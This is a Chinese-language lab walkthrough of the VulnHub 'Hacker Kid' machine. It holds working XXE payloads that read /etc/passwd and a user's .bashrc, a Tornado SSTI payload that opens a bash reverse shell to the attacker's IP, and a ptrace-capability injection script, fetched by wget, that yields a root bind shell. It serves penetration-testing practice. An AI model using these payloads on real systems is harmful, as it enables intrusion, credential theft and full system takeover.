靶机介绍
参考链接:Hacker Kid Walkthrough - Vulnhub - Security - NepCodeX
虚拟机链接:Hacker kid: 1.0.1 ~ VulnHub
开始练习
本机ip:192.168.56.102
nmap扫描目的机ip:192.168.56.108
nmap -sS 192.168.56.0/24
扫描目的机开放端口及服务
nmap -A -p- 192.168.56.108
开启了53 80 9999 端口,扫描80端口目录
访问80端口,在代码中发现注释,删除注释标识后出现新的按钮
下方还有注释提示,打开bp使用intruder模块加入page_no参数
成功得到有效参数值
http://192.168.56.121/?page_no=21
写host文件,使用dig枚举子域名
dig hackers.blackhat.local @192.168.19.133
访问,查看网页代码,怀疑邮件处有XXE
打开bp,修改数据包,测试payload
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY dd SYSTEM 'file:///etc/passwd'>]>
<root><name></name><tel></tel><email>
ⅆ
</email><password></password></root>
成功读取文件,使用php装包器打开sacket目录下.bashsrc文件,得到了编码后的用户名和密码
(大佬博客中写的是在之前web页面有过home的暗示,我自己是没有想到,这个靶场的暗示真是不少)
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY dd SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root><name></name><tel></tel><email>
ⅆ
</email><password></password></root>
在9999端口的登陆页面登录失败,更换用户名sacket,登陆成功
(这里也是暗示),更改name参数的值,页面相应改变,因为nmap扫描的是Tornado,于是使用下面的SSTI payload反弹shell
参考:SSTI (Server Side Template Injection) - HackTricks
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.102/4396 0>&1"')}}
转换为URL编码后将其赋值给name参数,打开监听端口,成功反弹shell
nc -nvlp 4396
检查机器上不同二进制文件的功能
/sbin/getcap -r / 2>/dev/null
能利用这个信息提权
参考: https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py
找到一个root权限进程,记住进程id
将inject代码保存到本地,本机打开http服务,使用wget获取本机inject.py文件
python -m SimpleHTTPServer
靶机中使用wget获取inject.py文件
wget 192.168.56.102:8000/inject.py
利用参考中的inject.py文件,传入参数为选择的进程id,执行成功后会在靶机的5600端口开一个绑定shell
python2.7 inject.py 775
nc 192.168.56.121 5600
获得rootshell